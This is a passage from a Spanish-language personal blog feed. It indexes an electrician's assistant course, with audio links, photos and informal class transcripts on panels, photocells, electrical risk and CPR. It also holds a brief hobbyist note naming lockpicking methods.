<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2Gb1TZrZyMt-axT0dPvq9iULDTk8GYgnI36I0MV25SSPUrA4YVozJK26b-yYp5wgulir0QtSSqM-DmO1DuhzY7HnItgUF_lOBfEGX7lUTvdjgWiXBB9wYwbMD2yQYRI6GHySa5j3I7fYMFm2VxhpZ62KyUxAMN1QaAecxFE7RlNeGyS-wArlzz3EL2l8/s4160/IMG-20250707-WA0015.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEaD-qgAF6zmJJ7VjgRv2N-sXmKzTsU-alnV6R4uNlCMjmLqixg9jBCePVKA_C39OHP10ILyQDBY8LeJJwJRndyf7YrWwIHISZTQOJi9b0vltz1V9rvNHskfZ7Zb1cP9X73eIjkgD2k_3sEnY3_aW-nJHmLZn3OWrShVv5W77YYPsiWoYRNRsnsPN0Yco/s4160/IMG-20250707-WA0016.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTedz9vjMrAQsxD-ozzP0SZzNAfnry5rrIufJLjS1w4d_wikQZew0r0-7LcYJGokHEWp0EeA8TDH0v1KzfQrKulxKpv149vixZNEE4Wr39v2JYQriyrVtan75xVeMSqxY74UdKA0NZYyS9eJLJAO5M9-d8Q4oLWckxHgSSrVNTl1QE-SHITDGB04BQiz4/s4160/IMG-20250707-WA0017.jpg" alt=""></p>
-
Electricidad / Clase 45: Videos (final curso auxiliar electricista)
https://imlauera.github.io/electricidad45/
Sat, 05 Jul 2025 08:59:48 -0300
https://imlauera.github.io/electricidad45/
<h6 id="audio-en-vocaroo">Audio en Vocaroo:</h6>
<p><a href="https://vocaroo.com/1m8658AxJlp3">https://vocaroo.com/1m8658AxJlp3</a></p>
<h6 id="audio-en-archive">Audio en Archive:</h6>
<p><a href="https://archive.org/details/record-179">https://archive.org/details/record-179</a></p>
<h6 id="audio-en-youtube">Audio en YouTube:</h6>
<p><a href="https://www.youtube.com/embed/GNo7ZL6buPM">https://www.youtube.com/embed/GNo7ZL6buPM</a></p>
-
Electricidad / Clase 44: Teoría. Riesgo eléctrico. Elementos de protección. Vimos videos en proyector.
https://imlauera.github.io/electricidad44/
Sat, 05 Jul 2025 08:56:51 -0300
https://imlauera.github.io/electricidad44/
<h6 id="audio-en-vocaroo">Audio en Vocaroo:</h6>
<p><a href="https://vocaroo.com/1oHoZB8WNiFg">https://vocaroo.com/1oHoZB8WNiFg</a></p>
<h6 id="audio-en-archive">Audio en Archive:</h6>
<p><a href="https://archive.org/details/record-175">https://archive.org/details/record-175</a></p>
<h6 id="audio-en-youtube">Audio en YouTube:</h6>
<p><a href="https://www.youtube.com/embed/i_kczf-bAk0">https://www.youtube.com/embed/i_kczf-bAk0</a></p>
-
Electricidad / Clase 43: Clase práctica. Como hacer RCP (Posadas Reanima)
https://imlauera.github.io/electricidad43/
Sat, 05 Jul 2025 08:50:53 -0300
https://imlauera.github.io/electricidad43/
<h6 id="audio-en-vocaroo">Audio en Vocaroo:</h6>
<p><a href="https://vocaroo.com/1nYvA7jIrSMl">https://vocaroo.com/1nYvA7jIrSMl</a></p>
<h6 id="audio-en-archive">Audio en Archive:</h6>
<p><a href="https://archive.org/details/record-173">https://archive.org/details/record-173</a></p>
<h6 id="audio-en-youtube">Audio en YouTube:</h6>
<p><a href="https://www.youtube.com/embed/tGN2cpJzc6Q">https://www.youtube.com/embed/tGN2cpJzc6Q</a></p>
<h6 id="rcp">RCP:</h6>
<p><a href="https://www.youtube.com/embed/GB54VXNrf3I">https://www.youtube.com/embed/GB54VXNrf3I</a></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgP_mXYgz-p0s6ye9EivR3Fmb6yOt2ot_jOPNHsKqHD5MRRb2zHakfLlt_7Dbn3K4joW-EWoCsWmx9_3X8PybZkAhtzzKeSFm6yvO_N9INLU3kEDRtCuxARC6GNiM9_p2angX5khfSiHzuX2-n58McOsSuRPvtUlTtUUYintROB7NRhN_PnwNLfygG5Eds/s4160/IMG-20250630-WA0003.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5GUd1QpbkEzOXyjqWu5LqvCIdxPoz6v07bo6XLIU3OXflyafrhH-wEz5lbTgT5y_Mw6JXS_pyNk_zoGcEH8HeV_O0VKBHhGPT3azdi4bCuM9mt7jlYp3lI-oGZA4j5qMmqSPygjiUq9Pj97rSVOnDHi52cUV2H2BG0fe6vmxY54yBJjo_A-T7EDk_VVw/s4160/IMG-20250630-WA0002.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHeXA9bFVMQ8tnyvHyGL_S8X7xJB-FhdH-42qMBzOTR3cd0swXBjJeKIlnyKbt4PyRzgogfbwjAas47_9bh2-nXwuXtQgmFOG8gVOzsnnTpWJ5fHwAmkXPoBgasU3bBujwvD55l6W_gQxRrCPHqQYHWQ1b50xaeOju53kHo3PNgd4GWMk-346ZE2HFsL8/s4160/IMG-20250630-WA0006.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvhzl582XXlyKGmzV16ok9Iupvaz6dRFurBUZrBqACh3r2wLoSC2hPVgtk7Faepq0wbQKohfxeXkpB6YQzDLIutJmFkDplHCdFxVry-KZD0ipqZR2ygoJxzbslK7dA8XjRabOw4HwsKpCipdigZ9J6lDHVQgR0_sHJ1laCYabldwQpxA0eiVZ4cBTZLJA/s4160/IMG-20250630-WA0009.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgD66KZ0r9xepeUXuCPW0ZflraOuKpAyQqvE8C4BvaP32xgdOs3CuXQ-t2-r9nGPRQsC4UnmuFjom0XbLpTugZhVn4ooEZDiDmByoGn9lcZ3g4UKakQb7L-PBeNmBlYjPy_614hvlvtsAtGO0mjCDrlf6LqSLLITKur6ua1PIb1zdpBBM3lzRZXWyY-3fA/s4160/IMG-20250630-WA0008.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7qGxi6prkKUZuJb-eavHLjBAtFbEl-0QZK6cOQnRQCkg89y1lueXm1M1R37AmbvhyphenhyphenYHs_fGqEUKwkE55qWCigc7sTE9hxbzGi43CmUU9QvIioTS-VpHxfO00uyt1lLgaYCv9bTm8rkIRdb5eK5OISyniiklHu9HAKXZS1qgZ9X9fHk_nIxoY9Duqh0m4/s4160/IMG-20250630-WA0007.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiuwW6F5wvtqRy7l9Jctek_6hc54tEurpdIPy1KtROYgNYeodPolLcHnfMTlnZ67TAubXFlHc9_gxWNcRI92qPQvNG6gz7ZtTXpw4qs3Ed9o1CJ7QlCcF0HNUxNwK_MzDVw8bHOPZKg4wPtM2AM0AAO_C04GImrWzOUObD94BrFsTpeRZ4GHW27MGpRl9w/s4160/IMG-20250630-WA0011.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5L3wM63n2SG09xP_a6N9Sk3G6s7u5P3X6JGGE7ZVZ27lu7LR9SeBXBkluRDHq2ABmpAYOFQ7ZXSpvgzaWt4c8jCzVLBqJCGiheu2yPeIehxuOviqZq48BlsnfNNfKgL7EpH3RNFWqAtOkcvQKj0eWXlg4nhJHCPQCyUSsWVtVah-AKGt7xpXogIPxCbU/s4160/IMG-20250630-WA0010.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOWiEUezKlcFdYyPFAGYcO4ilDrdoQF4JbgiS-BAkvhyphenhyphenoNPfzoBka4WApsN_29e1sO92Kwm9wTSY_zJjQ9nn-YUHl5_jmSRTaCQoQMgt9Qs5fKLXwXahzC3GjW6UADMJGBvWBXpegDte_skvzRy-GhrWMyL0gRvk7xCbxDkkNFo22FWEq2P8XWsmUyZvQ/s4160/IMG-20250630-WA0025.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzzFu1Fo8A-ZelEVDXPSOeG4I92opadwcLNKmAqIjN6QswZ7QQh0w52oYxfWoIQ8UZeN9acu9kamQOV6fFDHyxOKPNwwskzTgbnHMI5yNKOxbrQFD3QftgbeTpp7rTbJa9Fd2e7kTlAkDN1yljkqk9i2x3f8EvD-LMRndSALNVG3usOiNWFVA13M0q4A4/s4160/IMG-20250630-WA0015.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaCy_LYhXTdvgHJTsgWrUXgISdITGDFyaLujnStuSjwoMak_NRDq5ZKF0k_9A9d8v_LrttFkSHts30jLk3enGvU4bvyVT7blBpra29u398UPauCdqt1SzwTIFD9Ic_Z_tD1rx8oPWdSL9XMF5llAtVGATrCoXcAytMHVm_2A9HazBfcGSP8-Mhp0FbyoA/s4160/IMG-20250630-WA0014.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgGGroFPHLQY-PjfWxf0e8mmI4NnYycESC35w_4TKR54TyWlhniD_XIbO-6DR2cH8HwEkyJwuYHSERpdQiJitClKUhoBuKNQ8qF9bUeN7oqjBA7Tm7j9IhDQd0lRXjixVwEmzVeFqDOqJdYvFG0CjWUBOV7kToz0d4M7Nx-_wAQiqyAYUIQbushp-A-0s/s4160/IMG-20250630-WA0013.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgVzIE5AlkNSkVsUXzhLLnZozRnu9pO18bmr8zv8qUae5580B1qsTpBAdcpdMxPlq6-06tiFCo2-ltmA9AaTmk_efKkop0qREhCuijcxjC2yDuRQpqNH7naTI6IuJAYJUPaRlICyNRWVCBDjRzYSRLM9zc8HflN_WTGmjjdlVak4XG9tDb6kGb6Cwi-du0/s4160/IMG-20250630-WA0012.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpw1rDy7UE5lwB9jsTvgLtPguEfU5c6Hd5_sxFRaXLWVtryLB0HROd7tjb6sBfAKqSoOo18HXsO0S2hL_mjMG95wd-6Rp7Sg2ZY1BAqRx_pqz186pY6w1qVWj4YyVi7PGi-lQw6li81W45oXoNkh5nXHMeoubYis1mB3M3HSCFPKeZtKw_Y7OwVoxGILQ/s4160/IMG-20250630-WA0024.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigfqrTDxqVcdp34BnIgj-fwzz4L-B_TSYHm9PS6lBy73r7ZiLmlVd1vMX1qhIhm57swDwew-zi5dfL5LRkWv7HwZ4gKi4VHzlmCWuyhGTxkVar9XqfHYI35ERFM5mEDj50ZAXWwJLDFo5g-Kv2bz_UTfxaECtUiATxX99hKiTmK3uzYdhdxbBJPzwKyTk/s4160/IMG-20250630-WA0023.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgc-S-ixP8eSMaLHz4brXgEUH4Pz-RJFAsRE1RwB_c52zf2BdNh3WxCuwKPurOTQMDHotP53uBmB9fvoH2z2a8xKkmW9UJg-4rW3yqKotNjbcMa8vZ36FNTSQra8KvqmsNyP8XZT4Pp_4BQDTOTnmOZ0OSDD7KE48E8I75JA4PDGlk1oUyzgRVPcIPhU4w/s4160/IMG-20250630-WA0022.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2D3ifs4URUJZpYXWn0S02u7OlicDMac_hb6cQ6OK4kmqIOnhO2MjoZQ04eU2NLtqyBERJJsC_X1G0f8URU9KVyoD2WcWtNljMZq3AJJth0wq8bDS1QVMhz9EYR3-mZqT26-Gwt22OYuWmzxVs5-P7DqzPa4SE8IFKlncTs3GdzgHXIwuw9u62UoIm-OY/s4160/IMG-20250630-WA0021.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnGsK_nF732VDR6WdoYkYBxrw9YWl6mYbbwgwsZMTnGW-6Lceaoaha31pk3ffhH1j0RuUgS0FaWUSCeCl7HbyG6SvrbxMfbbC_gex0WCtfSetiz3b4Q0xswAtL3VWA3zq378_Oj5o_RHxVViFkst582LPXadkW4R-4cFosnszau0fmPG8KxveQcASfzVs/s4160/IMG-20250630-WA0020.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjabdS66YuDIkFivL_jDao0QjZXbMKbpiUVtnVdyKZiLToas7BW4ZHyClEZww2OniYVED70qfRuAdhYcjcpVU7UPGRkjEnkLvstkLNH1rXgl8yMkGsbk21Bt80QizJj46qWuaHYoRWiUqykKgoGnF8HdM942lRHhR-1-ynzsqbMgoi0Db9Gi_9sIJyjlew/s4160/IMG-20250630-WA0019.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEheJanO-HzaOfmj0AvKb2m74-Qy9Fc1jEMxDOKsI3fEPWhoNnt131GPiBX0c1m9l1oIKWzSgAamaaZyWk-gyD4rhRslTfQGHfNcDwj5p4vA91dggvVQzze6aq4dLQxALLXxanl41k-bmOcMTlrcL12UBKbg-K5SPlcud4Zvv2DYDLpRzUI7qZs4zT01odI/s4160/IMG-20250630-WA0018.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDaasmBVV8rqBfhRhY2n77VU6wc-7OlfU977idfrbxn8v4M18ooN5gHaCjsyZopcCfUXjfIzvM2l7Y_L1Jn9KqccvFj8RzqkZCWliduQqt3ywJqABSJdzr9LbV_aKjzFgnA4l-p_khrrQD9aAynWW50boS2P-2Olw4qOECmncRPpk5s8DXw9cU5dg72OQ/s4160/IMG-20250630-WA0017.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMrupUPwj88J2yI5PtoFEtdwM6CjKf8vYSj6HoS1zFR4Z6vZOCYGGpIy1_PgM3VgqkL5Eh8JrLKbixf34FUlyRtWHjDd2q7je0xuMoezoGK6DhToV6jQVZXs63_583R75rkkzdrKQxIOGgxyE1yo_fGvUMrXZks9cGaxpVrdVhomJdOJV0alGqGHr74N8/s4160/IMG-20250630-WA0016.jpg" alt=""></p>
-
Lockpicking
https://imlauera.github.io/lockpicking/
Thu, 26 Jun 2025 21:48:37 -0300
https://imlauera.github.io/lockpicking/
<p>Hay varios métodos y no existe un camino “correcto”:</p>
<ul>
<li>Raking</li>
<li>Pick Guns</li>
<li>Bump Keys</li>
<li>Single Pin Picking</li>
</ul>
<p>Usage of pick designed to manipulate individual pins and torque wrench to apply rotational force to plug
Manufacturing irregularities within lock determine the pick order
Classic hooko shaped pick will be used most frequently.</p>
<p>Single Pin Picking:
Find the binding Pin.</p>
<ul>
<li>Pins within a lock are pincked in a specific order: the picking order.</li>
</ul>
<p>Lock Vulnerability:
Manufacturing Tolerances</p>
-
Electricidad / Clase 42: Clase teórica: Tableros
https://imlauera.github.io/electricidad42/
Wed, 25 Jun 2025 22:49:18 -0300
https://imlauera.github.io/electricidad42/
<h6 id="audio-en-vocaroo">Audio en Vocaroo:</h6>
<p><a href="https://vocaroo.com/1mMgp9RqS3l7">https://vocaroo.com/1mMgp9RqS3l7</a></p>
<h6 id="audio-en-archive">Audio en Archive:</h6>
<p><a href="https://archive.org/details/record-167">https://archive.org/details/record-167</a></p>
<h6 id="audio-en-youtube">Audio en YouTube:</h6>
<p><a href="https://www.youtube.com/watch?v=ulQFU6HcTkU">https://www.youtube.com/watch?v=ulQFU6HcTkU</a></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgS1_4_3P6kFKx6h2ArdbqumTzd82SBjqNaXPI8VmuTHQQZL3iUbYm2_DA-7zRWh3JaT-hpBALgnPiU9dsPVBM1BtyMBRvqTwe0ikF4zNgeXKvT6wGjSMaJIk-RPkgSLWphc3fWvwnPkapreje9fvNgmR3kcG6gSATe_IleTQiBsihudE6fuaNvOEJVy3s/s4160/IMG_20250625_203200823.jpg" alt=""></p>
<h4 id="transcripción-a-partir-del-minuto-10">Transcripción a partir del minuto 10</h4>
<p>Yo siempre venía acá tomaba un cafecito, ya café no voy a tomar espero que alguien me invite mate.</p>
<p>Barrientos: Ya ni mate traen.
Profesor: Linda obra, estaban bien hechas aparentemente es buen nivel cuando hay plata vos te das cuenta.</p>
<p>Y el plano de la casa está bien hecha, encima parece que es casa de fin de semana no más, pero es impresionante lo que es la casa. Seguro que es un político, figura en el cartel de obra una mujer no quiero indagar tanto. Pero es lindo ver obras grandes ahí ya vamos a empezar algunas cositas porque el tema a veces ya me querían poner el tiene planta baja y 1er piso y el tablero secundario del 2do piso, 1er piso estaba ahí cerca de un baño yo no puedo poner el tablero acá y poner humedad de aquel lado. Al lado del baño, ya hicieron todos los pasantes, no cambialo le dije.</p>
-
Electricidad / Clase 41: Clase práctica. Armamos tablero con fotocelula. (Incompleto)
https://imlauera.github.io/electricidad41/
Wed, 25 Jun 2025 06:44:28 -0300
https://imlauera.github.io/electricidad41/
<p>(Se cortó el audio)</p>
<h6 id="audio-en-vocaroo">Audio en Vocaroo:</h6>
<p><a href="https://vocaroo.com/1jU2gVFOUp8s">https://vocaroo.com/1jU2gVFOUp8s</a></p>
<h6 id="audio-en-archive">Audio en Archive:</h6>
<p><a href="https://archive.org/details/record-164">https://archive.org/details/record-164</a></p>
<h6 id="audio-en-youtube">Audio en YouTube:</h6>
<p><a href="https://www.youtube.com/embed/WiGkgFy_1Rg">https://www.youtube.com/embed/WiGkgFy_1Rg</a></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEis_T31YlKVBdeIikaXZxgr43CTgWQOMRSBQc2M7CbJvcqqbySmYizBvPIJWkI2YWX42j-cAIJEJozDJ_AfUw3PjAaU0Y21189Dk0KQQFrtf5eAppQGl7hiCGiTEDh7TQ0_3BQ8wJeM7_hsQJW2hU2QvPYSi_Uw5pG_LbeEIvsGHjUsGxHJjc2BcDNbgv4/s4160/IMG_20250624_201423579.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgec1Tb7cAHNYSU49SdUtlOGGjwUd5pKseYBP16boPZphNgr52W_g04AMCAvYvCME8NO5BEuF1Y6D8KBUhxGVHHi7FhsK_KAxZTx_vCK805vaRKV1VPv8gSiXkvzriJ7CgtOaOkbG5WK0dH98jCgz1e66ge6ZTSUU7g0jeg6RqZr8kC44T64yS62CEkoYc/s4160/IMG_20250624_201035822.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiomxIr7icnIqCdldavvx_9Fj61n73DIiegt_Lf5usvgbFjoGCruaG2UW6tsGgSlGZ3RmVSIU-qMx45QaRZ9vDGWIvPArxc2gLVYT35M1w8ACWpvF3bZ0rZ6415SNZnm2pR3Qr5w-vFE9I9mtpNN0YkhtRpHdVEEOmiEUWsJs5PzSBrMNRA5Dh8uiZDtoE/s4160/IMG_20250624_200840915.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhulDHy2cJWOaZnil2OUsWYMMchQDm9Cjarmj3mq9cqJ5WskcNccIZqkIgkkmOgZuYmh38dmENOrcI9IOsTiW4ggjm9EyRBAfNOwWcNHkxK0pDWrebO6ImwCdj7CjFHqxoz00AGewJD7EVmuqNimkeuaN0V9Fk3dOlQvaiYF7U-Z_Ba1yMX7Y8Q4SEp4g8/s4160/IMG_20250624_200829137.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjP9FJEc6tTjK_oWK8gjBx2BLlAJ5DiY6Gi15Qgbot4H6zSXH4MCe6WpZe7TgnBll_Q36kmdT7oMhqNHWf26iyzYNEkPoWJTeaNA6H7k8ge0VGwD_lyX9aeukyM_scPxd9PEd17151Rvua8gGiGwcBSi_TOSi9uWBfcIrDxIsIA4aSg-zV4og7D2F_4p-4/s4160/IMG_20250624_192705593.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEijI7TilF6nf9mS6RVAVO8Mu-H3V43MqCeiTBonKFhimWYKmKj5zGv3ByxAUv9EGOoryMY4V_9ZRbia0NGbJ5LnWPVJ_HLxHDv9Gs8cSKzQit2q_w8SZU9VRXh07gdxCyKMV-Fok2Qx018m4bEWTqRQVxQrRY8u4tW6NgO0BMdIQFz8-ITjXloiK-4njFY/s4160/IMG_20250624_192703831.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpm97oHlAJbKJXFbrBh3jZHK0bmhJLLT6NKNW8t-tQEAvTyUeWBJfWwmlpJMUf4yrCSEwO3FCdw5bEDsYDjfbri6iNNDZhKA-qwgt52XWkpMv4OVHY6p-fw34yevWzaWZDZI5wyf03qfaaS-ZYJVR8MIURZottVg-d1GI5IclIy_TzlByBcVZf7Ef7RPk/s4160/IMG_20250624_192700446.jpg" alt=""></p>
<h4 id="transcripción">Transcripción</h4>
<p>Vení para acá vamos a tomarte lección fijate los tableros y…</p>
<p>1,2,3,4,5…</p>
<p>Silva ya no viene más.</p>
<p>Profesor: Ese vago ya no silva más entonces.</p>
<p>Digan el nombre no más. Imlauer, Melgarejo.</p>
<p>La caja está al nivel del ladrillo y hay un revoque gruesísimo o sea está super embutido entonces hoy tengo que comprar la más grande y taparla con eso.
Profesor: Hay una de 10x10 que tiene para que vos le pongas 4 módulos de toma tranquilamente después te voy a mostrar la foto. Yo uso el que es para hacer esta casa pongo directamente cuando yo tengo que hacer impuestos de computadora. Ah claro, entonces pongo 4 directamente monitor todo eso, para no tener que salir.</p>
-
Electricidad / Clase 40: [FOTOCOPIA] Teoría de Fotocelula (La clase siguiente hicimos práctica). Fotocontrol. Fotocélula siempre mirando al norte. Vidrio 3+3. RCP. Accidentes eléctricos. Fotocélula con 2,3 y 4 cables. Hay un alumno que alquila todo desde departamentos, escaleras, andamio, trompito, herramienta de todo tipo, refrigración, proyectores hasta cascada de chocolate, antes se dedicaba a arreglar celulares. Espeche mira todos los partidos con proyector con Magis. Explican como usar un proyector con parlante bluetooth. Espeche ayudó a su amigo que vivía en Buenos Aires y su hija rompió el tomacorriente conectando un secador de pelo y estirando del tomacorriente. Para el correcto funcionamiento del fotocontrol es recomendable colocar siempre el mismo por encima de la altura de la lámpara de modo tal de no ser alcanzado el sensor por la luz que emite la misma, caso contrario se producirá una realimentación en el circuito generando que el dispositivo funcione de una forma intermitente. El ayudante dice que no se puede probar una fotocélula con continuidad que hay que usar 220 (creo que ese equivoca). Profesor criticó al alumno porque trabajó encima de una escalera de espaldas. Espeche comenta como trabajar con distintos tipos de escaleras. Lo ideal es abrazar a la escalera nunca trabajar de espaldas. Poner un taco para que no se deslice escalera. Los albañiles se suben 4 o 5 andamios sin nada.
https://imlauera.github.io/electricidad40/
Wed, 25 Jun 2025 06:39:43 -0300
https://imlauera.github.io/electricidad40/
<h4 id="audio-en-vocaroo">Audio en Vocaroo:</h4>
<p><a href="https://vocaroo.com/18HLAUVPLg8z">https://vocaroo.com/18HLAUVPLg8z</a></p>
<h4 id="audio-en-archive">Audio en Archive:</h4>
<p><a href="https://archive.org/details/record-163">https://archive.org/details/record-163</a></p>
<h4 id="audio-en-youtube">Audio en YouTube:</h4>
<p><a href="https://www.youtube.com/embed/rlEo1O3fvr4">https://www.youtube.com/embed/rlEo1O3fvr4</a></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4aEO8MLad6EgXPe7UVLGMWsBsdaNPmFFc-7xy1Diqi8sxGhy9qIA4ALEjK5oa1FVUhyiaQRAfplMbXsH2GMn5PzEH4ExUTBbHiNFzxxsIU8UmZ_VI-iRQYQKoBglODd7U1BOTIvrngmp1Qp0GVuuijrb3ygQtLM8QnJ-PiaQLIw1l7_4NfDIsT-wO68c/s4160/IMG_20250623_192219656.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivhfdQgaBAH1XKFXvJH04pluBbqVgGxFZ_cJlDPW7tgPtB3SQZo2nugV5H1445YqvyGxCYgjlq1L1FmH7zTu78dRw25TUtQ5gCSUTBBrc3wOsBthk_NLMoUBU222TFiDg1_uZ7CCBIboSFpiheNvAUudD5oUSgxkn-uFhe1ZEh-Pet71YUWSRiXpKJMXk/s4160/IMG_20250623_192224339.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihK4fU4IGObu98bHpgPp6gVmbbjYP9a3m4Fx88oSyLNCLmbt8rU-5phD8pmn36bZAJFp1hFVnzlBMXYMJJn4NU2zWs-t8J90DEI4kXrDuKJZLmeboULO-6AwI1vtYrZOHSiHzX5GwYg-gb8i-YbaBrMnT3CuMs8UkdX61C-Do6zV5iDNFhQJV0Ofrp2sg/s4160/IMG_20250623_192736256.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgeSdWpCYqioLp5LpZQaTOqWYEcMkw5sumhupGOJ8EENvee8o50avXVQbo7impDwAm7BM8xW2bUeoB0Ac1wO6Q9MxcurCih1zsK4ce82upkZHD8zJQxxbTq0LgIlisy8XUWjlHp1v3cnLK9BdZqBNZ2vTwWRs14ALOT0GFp31ilpYrUdMy8QsBJHn8J1kU/s4160/IMG_20250623_194537675.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcCY9GXPA8Uy0VS1j01mDRGMapdyV8ojmEmPbX6eM-o6mZeIAVqSDYpxQaRIeETWg4FvosU_zhNeTKhqQX0hznqMS7Nvu9rlx2_bWHq4GRNdNUGiZXaS0fpI1TgK3bhMquQYBnWlQwaSrM6k6oQ35WzYZtiptn0ji1WA7QmVpNQ8_GDQ2vW5MR4tu-6c4/s4160/IMG_20250623_194541686.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHFV-vm6bZ2jdL533twF3bz_wUnDIgrpbS_nSLoybs6umzPgXPJ5rRz22gAhS5Q9t81OGDdXNqjCcYEflcxKC-jBtgAkgdEFciWFNYDlSPSy8-rl1EITVqkgZzGi6Mpo85N4O2iNXTzFSqqgDur41_EbEQ5ypBarIZFCVK5NpxtVma192Bbpi-0xQgHCA/s4160/IMG_20250623_194610151.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhM796nItaHEWGV4i3xBCmBdRw8wOglvoPYxOBIdJGkhoJzNRc-ZUpAVjW-uBa2UeKk-8dRWFGMGUt86mXfmoBMaRgg86hlYDK05pr3LiOqwJNlKHzNmFDg2Ot25WwmqviG5O8QWE1EMpQKEb0TUgJyGeqzLEH5WKbYZlozQ-k2cpoEbCFkdhDs0X4t07s/s4160/IMG_20250623_194614754.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7ISFfAetLRrc9d23imsS066k0KY0UbmobsZW077KHV_4Q6EIxo4A6iLQcNONl2ott-bPdBulkTxRrd8JIBMxFXgiJdwEoP2PT3Bi4S71Dihyphenhyphenvibs1W2kXnA-_iA6XuqGH868ry5O0MyBjftBe_eVtI8qiZvGA231hCfa-McIOqGaLmWY16BEcp319P0o/s4160/IMG_20250623_195753207.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEguLDvFb7lWqNksqMdqTFsqWlt5si4c9km7dVE-FzF4yi-cA8-aZ1ZbblTR6QW28FTBfxBwHwIXoL5UQ58spbK1Bn_4QIyrXztChczjocQPRuM7E7f9TcsbMKiUstn8KekLq6Akkhu8-g_qqtGS3DgjZb05ABgfwlIktP4Tq88vqqOVFV0g_UFtMGcSHbM/s4160/IMG_20250623_195811072.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhlfe5_AJ9cinjDlErlu3xHvqh2r7fAj8Aj9uOefX0PtsiVI3ECrQjYZ316tIjSjecSnLOhAEhzMRM_WF9zLYbfp8snF9EzMx7h_i4RKkg8RAkeYSA3r060wNOZUse2S2bCx5RyuLcjXtvmIjLCXKcWt-bwCSDLBas67rBFAU5GMHf1CuHABwT8EjDrPas/s4160/IMG_20250623_202504128.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWq5x2YZK1xCw8PiiATahoCSZV-DXz7E2A5W3MDfnycW3IkVOV-NApNW0EQkeyB5bQHKr0ZFJopoDwMYul1USrAQ1yAfHdqOM5eSPV6bcxEPdUmjH8cHFi2xfgWGJ-YSXgVHQj10wajgHP6T05XON_OH8UiWwLZu9HFyREc12LYvAcinRzZjIz5fvB-Gw/s4160/IMG_20250623_202523392.jpg" alt=""></p>
<hr>
<p>A partir del minuto 35.</p>
<p>Profesor: No miré todavía el examen hoy o mañana empiezo a revisar. El miércoles tengo que dar algo para que ustedes tengan, ya está confirmado vienen los chicos a las 7 de la tarde (RCP).</p>
<p>Nosotros tenemos que venir normal a las 6:30 ellos vienen a las 7 pm.</p>
<p>Alumno: Nueva formación el viernes? Un curso?
Alumno2: Una charla de RCP.
Profesor: No. Yo lo que voy a dar es algo de riesgo eléctrico de qué pasa cuando la corriente pasa por su cuerpo y qué provoca, vamos a suponer que reciben la descarga esa persona lo 1ero que hace acuérdense que nosotros tenemos un elemento que es frágil y actúa directamente, es un motor el corazón entonces recibe una descarga y eso puede provocar de que se pare el motor entonces lo que hay que tratar que ellos luego explicarán que hacemos en el caso de qué el tipo se electrocute recibe una descarga y sufre un paro cardíaco y ahí empieza toda la charla.</p>
-
Kiss Linux (compilar kernel manualmente)
https://imlauera.github.io/kisslinux/
